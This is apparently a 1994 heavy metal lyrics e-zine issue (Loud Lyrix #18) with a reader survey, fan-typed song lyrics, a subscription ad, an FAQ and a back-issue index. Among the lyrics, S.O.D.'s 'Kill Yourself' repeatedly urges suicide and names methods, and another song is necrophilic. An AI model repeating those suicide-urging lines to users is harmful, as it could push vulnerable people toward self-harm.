for you dudes??? Did I baby you enough??? Ok then.. go to it... have fun!
!NOTE! -- The term 'HARD MUSIC' has gained a bit of popularity as of late,
it's a term that is used to apply to all forms of what I would anyways call
metal.. be it punk, hardcore, alternative, glam, whatever.
---------------------------- START OF SURVEY ------------------------------
1. Where did you first hear of Loud Lyrix?
[_] - Usenet Group
[_] - A Mailing List
[_] - Personal message from me
[_] - A Net-pal
[_] - On a local BBS
[_] - Other, please specify: ___________________________________________
2. Why did you choose to subscribe to Loud Lyrix?
[_] - Sounded xtremely kewl! (that's 'cool' if you dudes didn't know)
[_] - You forced me too!
[_] - A Net-pal forced me too!
[_] - Wanted to check out some Heavy Metal lyrics
[_] - Wanted to REALLY see what these 'bangers are like
[_] - Other, please specify: ___________________________________________
3. Which part of Loud Lyrix do you ESPECIALLY like?
[_] - The lyrics of course!!
[_] - The K-Rad Editorials
[_] - Reader's Comments (pfft! as if we've had any!! hint hint!)
[_] - The occasional Concert review or 'Metal News'
4. What changes would you like to see in Loud Lyrix?
(more than one answer accepted)
[_] - More songs
[_] - More blabber from me
[_] - More Reader's Comments! (hint hint!)
[_] - More reviews (concerts, albums, etc.)
[_] - Change the publication frequency
[_] - Other, please specify: ___________________________________________
5. How many people will read this issue of Loud Lyrix?
[_] - Just me moron!
[_] - Me and a friend
[_] - Me and my gang
[_] - Tons and Tons!
6. Do you write your Loud Lyrix to disk, and save them?
[_] - Yes
[_] - No
7. Overall, how much do you like Loud Lyrix?
[_] - Can't live without my fix of Loud Lyrix!!
[_] - Love it
[_] - Like it a lot
[_] - Like it a little
[_] - Hate it!! UNSUB ME!!
8. What other media do you get hard music info from?
(more than one answer accepted)
[_] - TV
[_] - Radio
[_] - Newspapers
[_] - Alternative 'zines
[_] - Metal Mags
[_] - All the above
[_] - None of that shit!
9. Which STYLE of Hard Music do you like best?
[_] - Hard Rock
[_] - Alternative/Grunge
[_] - Death/Thrash/Speed Metal (this is my choice!!!!)
[_] - Power Metal
[_] - Commercial Rock
[_] - Hard Core
[_] - Classic Rock/Metal
[_] - Christian Rock/Metal
[_] - Glam Rock
[_] - Other, please specify: ___________________________________________
10. How long have you been a fan of Hard Music?
[_] - Over 10 years
[_] - 5 - 10 years
[_] - 3 - 4 years
[_] - 1 - 2 years
[_] - Since I subscribed
11. Which formats of MUSIC PRODUCT do you _usually_ buy?
(more than one answer accepted)
[_] - Compact Disc (CD)
[_] - Cassette Tapes
[_] - Rock Video
[_] - Vinyl
[_] - Other, please specify: __________________________________________
12. Approximately how many combined music products do you own?
[_] - None at all
[_] - Less than 25
[_] - 25 - 50
[_] - 51 - 100
[_] - 101 - 250
[_] - 251 - 500
[_] - More than 500
13. Do you ever copy CDs/Tapes onto blank cassettes?
[_] - Yes
[_] - No
14. How often do you attend Hard Music concerts?
[_] - Twice a month or more
[_] - Monthly
[_] - Every few months
[_] - Twice a year
[_] - Once a year
[_] - Never
[_] - When there's a good show
15. How many concerts have you been to in your life?
[_] - None
[_] - 1 - 5
[_] - 5 - 10
[_] - 10 - 20
[_] - More than 20
16. What is your status as a musician?
[_] - Pro musician in a band
[_] - Pro studio musician
[_] - Part time pro musician
[_] - Casual player (non-pro)
[_] - I don't play
[_] - Other, please specify: __________________________________________
17. Which rock video shows to you watch?
(more than one answer accepted)
[_] - Much Music's "Power 30"
[_] - Much Music's "The Wedge"
[_] - MTV's "Headbanger's Ball"
[_] - None of the Above
[_] - Other, please specify: __________________________________________
18. What is your gender?
[_] - Male
[_] - Neuter
[_] - Female
[_] - Both
[_] - ALL OF THE ABOVE!!!
[_] - Other, please specify: __________________________________________
[I'm just kidding, but please answer this seriously, if not, I'll flame
you! -- Editor]
19. What is your marital status
[_] - Single
[_] - Married
[_] - Separated/Divorced/Widowed
20. Are you presently attending...
[_] - Public school
[_] - High school
[_] - College/University/Tech school - Part time only
[_] - College/University/Tech school - Full time
[_] - Not in school
21. Are you...
[_] - Working - Full time
[_] - Working - Part time
[_] - Unemployed
Ok dudes... thanks a ton for this, I hope you ALL take the time to fill
out the survey and mail it to lyrix@terranet.cts.com... DON'T FORGET
PLEASE!!!! Thanks.. results will be posted in issue #20 !!!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** A B R O K E N S P E L L ************************
by K I N G D I A M O N D
Album: "Them"
I stumbled out of Grandma's room,
down the stairs and out of the house
Once outside I felt My mind begin to
fight a battle for control
With the tea pot broken I kind of
realized
That "THEIR" power was less here,
here on the outside
I fell to my knees in haziness
And I looked in through the window
to the cellar
Things were moving down there,
"THEY" were searching for something
And "THEY" really found it,
the big axe was flying
Flying out through the cellar door
Up the stairs to the kitchen...
Then I passed out
The next thing I remember seeing was
the smoke coming from the chimney
I soon realized the smoke I saw was
actually... Oh No!
All there was left of Missy and her
dress, poor little girl
The spell was broken, I really felt the
change
As my mind and body became one
again
The moon was alive with its silvery
eye
Staring right into My evil heart
I went back to see if My Grandma'
was still there
Waiting for me in the attic... Oh I hate
that bitch
********************* T O B E C O N T I N U E D ***********************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************* N . W . O ( N E W W O R L D O R D E R ) ***************
by M I N I S T R Y
Album: "Psalm 69"
All the locals have the tears of regret
Open fire cos i love you to death
Sky high, with a heartache of stone
You'll never see me cos i'm always alone
How to love without a trace of dissent
I'll buy the torture cos you pay for the rent
Tied high with a broken command
You're all alone to the promised land
I'm in love with this malicious intent
You've been taken but you don't know it yet
What you will know must never live to be found
Cos it's been subject to the eyes of the drowned
**************************** T H E E N D ********************************
Typed by: ThE BlACk SpOt <address unknown>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************************** R I D E **********************************
by C A T H E D R A L
Album: "The Ethereal Mirror"
Lack-lustre vacuum magnetizes the land,
Scopeless material in ruthless demand,
concrete spectacle superficially grand,
divine animation buried in sand.
Chorus:
Well rise from the ashes of stagnation,
crystal warriors of damnation.
Nullified grafters manufactured from the womb,
out of the repro-clinic into household tomb.
Drag the nothing tiring through coal-dark underground,
drive the wheels of iron round and round.
Repeat Chorus
Souring eyes scar through that book of lies,
and to the truth,
well our search is dignified.
Whilst the yawny drone of physical machinery
march in the robot mode to terminal destiny.
Microscopic observance,
forsaken innerland,
spiritual inertia,
absorbed in bland,
well our significance shan't sink in their charade,
'cos through their drab pantomime I say were gonna ride!
Chorus: End.
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************************** S I N N E R ********************************
by J U D A S P R I E S T
Album: "{Unknown}"
See the rider,
Rides in with the storm
And you were right beside him
But never lived a scout yet have been born
Do you, do you hear it, do ya
Hear the thunder
Deafening the devil in his abode
Can you, can you see it, can you
See the mountains darken yonder
Black and running time is running out.
Sacrifice to vice, all die by the hand of the
Sinner!
Sinner!
Sinner!
Sinner!
His steed fury,
Eyes of fire and rain ablaze
Demandin' vultures stulkin'
Drawn by the smell of warm and pain
He roams the starways
Searching for the caucuses of war
But it is only that his
Very presence
Disrupts the calling to the storm
Curse and damn you, all you fall by the hand of the
Sinner!
Sinner!
Sinner!
Sinner!
Part of the Devil, part of the Devil
OK, have you brain
Part of the Devil, part of the Devil
You better run away
Can't you hear their souls calling out
in their pain
Can't you see their bodies wanting searching
for their light
Can't you hear their souls weeping
Some chant
Or is it insane
And it's only a rant
The Sinner is near
Sensing the fear
And the beast will start movin' around...
Can't you see their souls calling out
in their pain
Can't you hear their bodies wanting searching
for the light
...Sinner, Sinner, Sinner, Sinner!
Sinner!
Sinner!
Sinner!
Sacrifice to vice, all die by the hand of the
Curse and damn you, all you fall by the hand of the
Sinner!
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************* H E L L A W A I T S ***************************
by S L A Y E R
Album: "Hell Awaits"
[Backwards: "Join us" x times]
[Welcome back]
Existing on damnation's edge
The priest had never known
To witness such a violent show
Of power overthrown
Angels fighting aimlessly
Still dying by the sword
Our legions killing all in sight
To get the one called Lord
The Gates of Hell lie waiting as you see
There's no price to pay just follow me
I can take your lost soul from the grave
Jesus knows your soul can not be saved
Crucify the so called Lord
He soon shall fall to me
Your souls are damned your God has fell
To slave for me eternally
Hell awaits...
The Reaper guard's the darkened Gates
That Satan calls his home
Demons feed the furnace where
The Dead are free to roam
Lonely children of the night
There's seven ways to go
Each leading to the burning hole
The Lucifer controls
Priests of Hades seek the sacred star
Satan sees the answer lies not far
Zombies screaming souls cry out to you
Satanic laws prevail your life is through
Pray to the moon... when it is round
Death with you shall then abound
What you seek... for can't be found
In sea or sky or underground
Now I have you deep inside my everlasting grasp
The seven bloody Gates of Hell
Is where you'll live your last
Warriors from Hell's Domain
Will bring you to your Death
The flames of Hades burning strong
Your soul shall never rest
The Gates of Hell lie waiting as you see
There's no price to pay just follow me
I can take your lost soul from the grave
Jesus knows your soul can not be saved
Sacrifice the lives of all I know they
Soon shall die
Their souls are damned to rot in Hell
and keep the fire growing deep inside
Hell awaits...
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Your posting of "Fuck Me Dead" brought to mind Alice Cooper's necro
classic, "I Love The Dead." In fact, "Fuck Me Dead" seems like a kind of
rip-off. "I Love The Dead" is a little less graphic and less misogynistic,
but it gets to the point -- Richard]
********************* I L O V E T H E D E A D ***********************
by A L I C E C O O P E R
Album: "Billion Dollar Babies"
I love the dead before they're cold.
They're bluing flesh for me to hold.
Cadaver eyes upon me see nothing.
I love the dead before they rise.
No farewells, no goodbyes.
I never even knew your rotting face.
While friends and lovers mourn your silly grave,
I have other uses for you, darling.
We love the dead,
We love the dead, yeah.
**************************** T H E E N D ********************************
Typed by: Richard Singer <wk03814@worldlink.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
***************** C A N G O D F I L L T E E T H ? *******************
by L A R D
Album: "The Last Temptation Of Reid"
Don't ask me why
But I was walking down the streets
Of Fairfax, California
And I saw this flyer hangin'
On a telephone pole, and it said
CAN GOD FILL TEETH?
For a $10 "donation"
You could see silver fillings turn
To gold and other "supernormal dental happenings."
New caps! Filled cavities! Bring a
Flashlight and a mirror and observe
But wait a minute
Didn't I just read
About how the cops are getting parents
To plant bugging devices
In their kids' teeth
So if they disappear they can track 'em
Before they wind up on the backs of milk cartons
And all that
And didn't I read
That these devices can go two-way
And everything that I do or say
Is all goin' on tape somewhere right now
Planted in my cavities
And they didn't even tell me
No wonder every bad thing
In and out of my mouth
Keeps winding up on my employment record
All those fillings
All those crowns
I'll show them
Who's the boss of my big mouth
Where's the pliers
God dammit! Where's the pliers?!?
Wilma! Where'd you put my electric drill
This is all coming out now-TODAY!
CHORUS
Agh! Agh! Agh!
Agh! Agh! Agh!
Agh! Agh! Agh!
Must be some kind of conspiracy
The whole world's a God damn conspiracy
Look anywhere long enough, you're gonna find a conspiracy
Man, LIFE is a conspiracy!
CHORUS
Needlenose
Up my nose
-Agh!-
Where did all these wires come from?
How far up into my skull do they go
I pull out more and more copper spaghetti
How'd my Weekly World News get all wet?
God damn fishsticks melted again
What are they trying to do to me?
No secrets in the land of the free!
There
No one's gonna tell me what to do
It's worth eating baby food
The rest of my life
To be a free man
Bastards
Probably wouldn't understand me anyway
***************************** T H E E N D *******************************
Typed by: Shimon Godes <godes@decscc.tau.ac.il>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** B A N D A G E D K N E E S ************************
by T H E A L M I G H T Y
Album: "Soul Destruction"
Sittin' lone inside my Head
No mirrors to reflect
Is this here the season of joy
Or the season to Inject
Lord this must be judgement day
Take a close look at myself
Are you Happy?
With the hand that you've been dealt
The bells they toll silently
Inflict Invisible Pain
Tell me which is more righteous
Chivas Regal or Cocaine
Friends won't answer your phone calls
Call your long distance family
Well i hope someone is listening
As I sing on Bandaged Knees
On this holy day
I look to the skies
Are you tryin' to find yourself
Or just rearrange the time
Open up your spirit boy
Pass that liquid love
Do you prefer possessions
Or the purity of the dove
Sing to me my little sister of mercy
Inspiration of my life
You know that I cant stand the pain
but you know that I never cry
I play for you my love song
Sung only for the damned
I wish I could spend tonight with you
But you know that I can't
Look inside my black lines
Telling stories without couth
You might not like what they say
Cause they only speak the truth
play to me (My) Tarot
Slip my neck in through the belt
You can't change the ways of the game
When the cards are already dealt
Chorus
**************************** T H E E N D ********************************
Typed By: Metal Blast <FERNANDO.ARAUJO@alliance-partners.sprint.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
**************************** I N F E S T E D ******************************
by C O U R S E O F E M P I R E
Album: "Initiation"
I hear a sound
humming just above the ground
Above the bird sounds
I hear a black sound
It's dark inside
where all the insomniacs hide
Alone and deprived
waiting for fire to pump up the sky
Inside of the mound
the oil oozes out
Like blood to the ground
into the face, out of the mouth
Look Darwin in the eye
he says evolve or die
Like bees to the hive
so must we to survive
This planet is infested
The world is infested
America's infested
This planet's infested
The world is round
the weak fall out
I see the clouds
I'm stuck here on the ground
Waiting for the flood again
while every face is dripping with
the same expression, spinning, and
we're out
This planet is infested
The world is infested
America's infested
This planet's infested
**************************** T H E E N D ********************************
Typed By: John Lerma <JLERMA@wtamu-education.wtamu.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
***************************** B U R N I N G *******************************
by M A N O W A R
Album: "The Triumph of Steel"
We have come from the ashes, of the burning away
Pouring blood in the fire, on the altar of pain
Led into temptation, now the black gods align
Here there is no salvation, and your blood is my wine
Here is a world that is waiting, between the living and
The dead. here the flesh and it's pleasures are
Eternally wed. all is all for the taking, for a life or a
Lie. at the end of the breaking I'll be watching you die
Crawl to the silence, renounce and deny
The stars and the numbers,, foretold of this time
To the words and the wisdom, too the promise of lies, by
Their anger and fury,
The strong will survive.
**************************** T H E E N D ********************************
Typed By: Christopher Smith <Slaanesh@aol.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** K I L L Y O U R S E L F *************************
by S T O R M T R O O P E R S O F D E A T H
Album: "Speak English Or Die"
Can't take it, never could
Time to end it, wish you would
Friends and family, they're all gone
Life for you is just a con
Dig yourself a hole in the ground
Push up daisies six feet down
Take a dirt nap, buy the farm
Inject a bubble in your arm
CHORUS: Kill yourself, kill yourself
Why don't you kill yourself
Don't rely on no one else
End it all and kill yourself
Kill yourself, kill yourself
Why don't you kill yourself
Don't rely on no one else
End it all and kill yourself NOW
Life is just a one-way ticket
Everyone must go around
Here's a bucket, go and kick it
Slit your wrists without a sound
When you go don't make a big deal
No dramatics, don't overplay
'Cause don't you know that we'll all feel
Better once you've gone away
CHORUS
You're a loser
There's nothing left for you
A worthless loser
At everything you do
KILL YOURSELF NOW!!!!
**************************** T H E E N D ********************************
Typed by: Sodhed <ReidColi@Max.cc.URegina.ca>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok dudes.. that's a wrap on issue #18, don't forget to get those survey's
in, and NEVER STOP THE SUBMITTING!!
C-ya!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
End -- Loud Lyrix #18

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This is an ad for an electronic 'zine available on the Internet. Just send
a message to the listserv below to be included on the mailing list.
_ ____ _ _ _____
| | / __ \| | | | __ \
| | | | | | | | | | | |
| | | | | | | | | | | |
| |___| |__| | |__| | |__| |
|______\____/ \____/|_____/
_ __ _______ _______ __
| | \ \ / / __ \|_ _\ \ / /
| | \ \_/ /| |__) | | | \ V /
| | \ / | _ / | | > <
| |____| | | | \ \ _| |_ / . \
|______|_| |_| \_\_____/_/ \_\
Addresses
---------
Administrivia: lyrix@terranet.cts.com
Listserv: listserv@planet.org
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti) & Planet Communications
Mailing Program: LISTSERV at planet.org (Planet Communications)
! NOTE !
~~~~~~~~
All mail sent to the 'zine's list address <lyrix@planet.org> will be
forwarded to the editor at <lyrix@terranet.cts.com>, so please refrain
from sending anything to the list address, as this only 'causes us to
waste valuable resources. Thank you.
HOW TO SUBSCRIBE
~~~~~~~~~~~~~~~~
You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command
to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Join up now! To the fastest growing 'zine on the 'net!

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__ _____ __ __ ____
/\ \ /\ __`\/\ \/\ \/\ _`\
\ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \
\ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \
\ \____/ \ \_____\ \_____\ \____/
\/___/ \/_____/\/_____/\/___/
__ __ ____ ______ __ __
/\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \
\ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/'
\ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > <
\ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\
\ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\
\/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/
Loud Lyrix, June 15, 1994, Issue # 0
Addresses
---------
Administrivia: lyrix@terranet.cts.com
Listserv: listserv@planet.org
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti) & Planet Communications
Mailing Program: LISTSERV at planet.org (Planet Communications)
! NOTE !
~~~~~~~~
All mail sent to the 'zine's list address <lyrix@planet.org> will be
forwarded to the editor at <lyrix@terranet.cts.com>, so please refrain
from sending anything to the list address, as this only 'causes us to
waste valuable resources. Thank you.
HOW TO SUBSCRIBE
~~~~~~~~~~~~~~~~
You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command
to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
=-=-=-=-=-=-=-=-=-=-=
| Start of FAQ |
-=-=-=-=-=-=-=-=-=-=-
WHAT IS THE PURPOSE OF THIS 'ZINE?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Loud Lyrix is an electronic zine devoted to all heavy metal fans. Our
purpose is to bring to you all the finest lyrics of the best heavy metal
songs around.
WHO IS DEATH INCARNATE?
~~~~~~~~~~~~~~~~~~~~~~~
Death Incarnate is the editor of Loud Lyrix. He has been a rocker his
entire life, and heavy metal means the world to him. He is dedicated to
bringing the joy of lyric reading to metal fans all around the world, so
they too can discover this new dimension in music listening.
WHAT IS THE FORMAT OF THE ZINE?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Loud Lyrix will be distributed to all subscribers every week on Tuesday.
Each issue will contain 5-10 songs depending on subscriber feedback. All
songs will be listed with some short comments from the typist if necessary.
One section of the zine will be devoted to subscriber's "reactions" to any
song that has been posted, send all reactions and submissions to
lyrix@terranet.cts.com
WHO TYPES OUT THE LYRICS?
~~~~~~~~~~~~~~~~~~~~~~~~~
The typist of all lyrics will be listed in the zine along with the song.
Most songs will be typed by Death Incarnate, however user donations are
very welcome (see below).
HOW CAN I HELP OUT WITH LOUD LYRIX?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One thing you can do is type out some lyrics of your own favorite bands.
Chances are Death Incarnate will put them in the zine, as long as they are
heavy metal (or punk, or alternative, whatever). All typists will be
credited in the zine. All lyrics MUST include the title of the song, the
name of the band, and the name of the album it is on. Another thing you can
do is ADVERTISE! Our goal is to reach as many people in the world as
possible, so every little bit of advertising helps, just spread the word
around to any newsgroups or mailing lists. All help is greatly appreciated.
HOW DO I JOIN LOUD LYRIX?
~~~~~~~~~~~~~~~~~~~~~~~~~
You may join Loud Lyrix at any time by sending a "SUBSCRIBE LYRIX" command
to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
HOW DO I LEAVE LOUD LYRIX?
~~~~~~~~~~~~~~~~~~~~~~~~~~
You may leave Loud Lyrix at any time by sending a "SIGNOFF LYRIX" command
to listserv@planet.org. Please note that this command must NOT be sent to
the list address <lyrix@planet.org>, but to the mail server which handles
this mailing list.
HOW DO I REPORT A TECHNICAL PROBLEM?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Report all technical problems to Death Incarnate at lyrix@terranet.cts.com
or death@terranet.cts.com
IS THERE ANYTHING ELSE I SHOULD KNOW?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Yes... just one more thing.. if you all would be kind, could you after you
subscribe, or right now if you haven't already done so, REGister your name
with the LISTSERV by issuing a 'REG <your name here>' command to
listserv@planet.org. Thanks!
I FORGOT WHAT I WAS GONNA ASK!?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Good! I've had enough questions for one day!
THIS FAQ WILL BE AMENDED AND POSTED AS REQUIRED.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- END OF FAQ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

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_ ____ _ _ _____ _ __ _______ _______ __
| | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / /
| | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V /
| | | | | | | | | | | | | | \ / | _ / | | > <
| |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \
|______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\
B A C K I S S U E I N D E X
===============================
Issue #1 - 3/22/94
------------------
Song 1: "Heavy Metal" by Judas Priest
Song 2: "Thunderkiss '65" by White Zombie
Song 3: "Walk" by Pantera
Song 4: "Expendable Youth" by Slayer
Song 5: "Hero" by Ministry
Song 6: "Slaughterama" by GWAR (contributed by Sean Warden)
Issue #2 - 3/29/94
------------------
Song 1: "Jailbreak" by AC/DC
Song 2: "Master of Puppets" by Metallica
Song 3: "Electric Eye" by Judas Priest
Song 4: "No Apology" by Believer (contributed by Phil Powell)
Song 5: "Face the Day" by The Angels (contributed by Alex Carranza)
Song 6: "Just One Fix" by Ministry (contributed by Cobalt Raven)
Song 7: "Time" by Pink Floyd (contributed by John Lopes)
Song 8: "Reeking Breath" by Crash (contributed by Arnold Mohammed)
Issue #3 - 4/05/94
------------------
Song 1: "Arti-ficial" by X-Ray Spex
Song 2: "Cemetary Gates" by Pantera
Song 3: "Flaming Telepaths" by Blue Oyster Cult
Song 4: "Junkhead" by Alice in Chains
Song 5: "Force Fed" by Precious Death
Song 6: "The Four Horsemen" by Metallica
Song 7: "Stigmata" by Ministry
Song 8: "Manifest" by Sepultura
Issue #4 - 4/12/94
------------------
Prologue: The Eye
Song 1: "The Eye of The Witch" by King Diamond
Song 2: "Diamonds and Rust" by Judas Priest
Song 3: "Propaganda" by Sepultura
Song 4: "You Shook Me All Night Long" by AC/DC
Song 5: "Smells Like Teen Spirit" by Nirvana
Song 6: "Fucking Hostile" by Pantera
Song 7: "Suicide Solution" by Ozzy Osbourne
Song 8: "Eternal" by Paradise Lost
Song 9: "Fade To Black" by Metallica
Issue #5 - 4/19/94
------------------
Song 1: "The Trial" ("The Eye", Chapter 2) by King Diamond
Song 2: "Refuse/Resist" by Sepultura
Song 3: "Blackened" by Metallica
Song 4: "Mouth for War" by Pantera
Song 5: "Institutionalized" by Suicidal Tendencies
Song 6: "Mother" by Danzig
Song 7: "Feel" by Detritus
Song 8: "Keep Talking" by Pink Floyd
Issue #6 - 4/26/94
------------------
Song 1: "Burn" by King Diamond
Song 2: "Cowboys From Hell" by Pantera
Song 3: "Critical Mass" by Nuclear Assault
Song 4: "Die Hard" by Venom
Song 5: "Possessed to Skate" by Suicidal Tendencies
Song 6: "Evil Has No Boundaries" by Slayer
Song 7: "Fear of the Dark" by Iron Maiden
Song 8: "Fade to Red" by The Dave Man
Song 9: "Escape" by Phillip Wang
Song 10: "I Have Seen The Future" by ktark@src4src.linet.org
Issue #7 - 5/03/94
------------------
Song 1: "I Stand Alone" by Jackyl
Song 2: "Peace Sells, But Who's Buying?!" by Megadeth
Song 3: "Good Friends and a Bottle of Pills" by Pantera
Song 4: "Feeble Screams From Forests Unknown" by Burzum
Song 5: "As The Eternity Opens" by Immortal
Song 6: "Wonder Woman" by The Avatar
Song 7: "Flattery" by Jeroen Tiggelman
Song 8: "Through the Blender" by Philip Wang
Song 9: "Hell's Bells" by AC/DC
Song 10: "Deuce" by Kiss
Song 11: "Be Quick or Be Dead" by Iron Maiden
Issue #8 - 5/10/94
------------------
Song 1: "Two Little Girls" ("The Eye", Chapter 4) by King Diamond
Song 2: "Into The Convent" ("The Eye", Chapter 5) by King Diamond
Song 3: "Sober" by Tool
Song 4: "Angel of Death" by Slayer
Song 5: "Thrust!" by White Zombie
Song 6: "I Saw Your Mommy...." by Suicidal Tendencies
Song 7: "The Day the World Turned Dayglo" by X-Ray Spex
Song 8: "Peek And Enjoy" by Crash <st910591@pip.cc.brandeis.edu>
Song 9: "The Fire Still Burns" by Twisted Sister
Song 10: "Skulls" by The Misfits
Issue #9 - 5/17/94
------------------
Song 1: "Father Picard" ("The Eye", Chapter 6) by King Diamond
Song 2: "For Whom The Bell Tolls" by Metallica
Song 3: "The Ballad of the Bobbit Hillbillies" by {Unknown}
Song 4: "Under a Funeral Moon" by Dark Throne
Song 5: "Without Fear" by Sabaoth
Song 6: "Warning" by Black Sabbath
Song 7: "Loser" by Beck
Song 8: "Clones" by Alice Cooper
Song 9: "Turbo Lover" by Judas Priest
Song 10: "Under Siege (Regnum Irae)" by Sepultura
Issue #10 - 5/24/94 --> 10th Weekiversary Mega Issue!
-----------------------------------------------------
Song 1: "Behind These Walls" ("The Eye", Chapter 7) by King Diamond
